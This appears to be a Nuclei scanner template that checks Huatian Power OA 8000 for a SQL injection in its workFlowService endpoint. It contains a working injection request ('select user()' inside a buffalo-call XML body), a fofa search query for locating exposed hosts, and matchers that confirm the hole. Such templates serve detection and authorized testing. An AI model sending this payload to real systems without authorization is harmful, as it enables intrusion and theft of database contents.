id: huatian-oa-sqli

info:
  name: Huatian Power OA 8000 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    There is a SQL injection vulnerability in the workFlowService interface of Huatian Power OA 8000. An attacker can exploit this vulnerability to obtain sensitive database information.
  reference:
    - https://blog.csdn.net/qq_41617034/article/details/124305120
  metadata:
    verified: true
    fofa-query: app="华天动力-OA8000"
  tags: huatian,oa,sqli

http:
  - raw:
      - |
        POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
        Host: {{Hostname}}

        <buffalo-call>
        <method>getDataListForTree</method>
        <string>select user()</string>
        </buffalo-call>

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<list>" ,"<string>user()" ,"<length>")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022047c3b3414a0df547b2bbe19933181b13c4fdda92e883dcf829f6839390d543850220731c9ac1fd94480603e600e8fc4c166f3fd35b88863d244dddc02e09d2bc2660:922c64590222798bb761d5b6d8e72950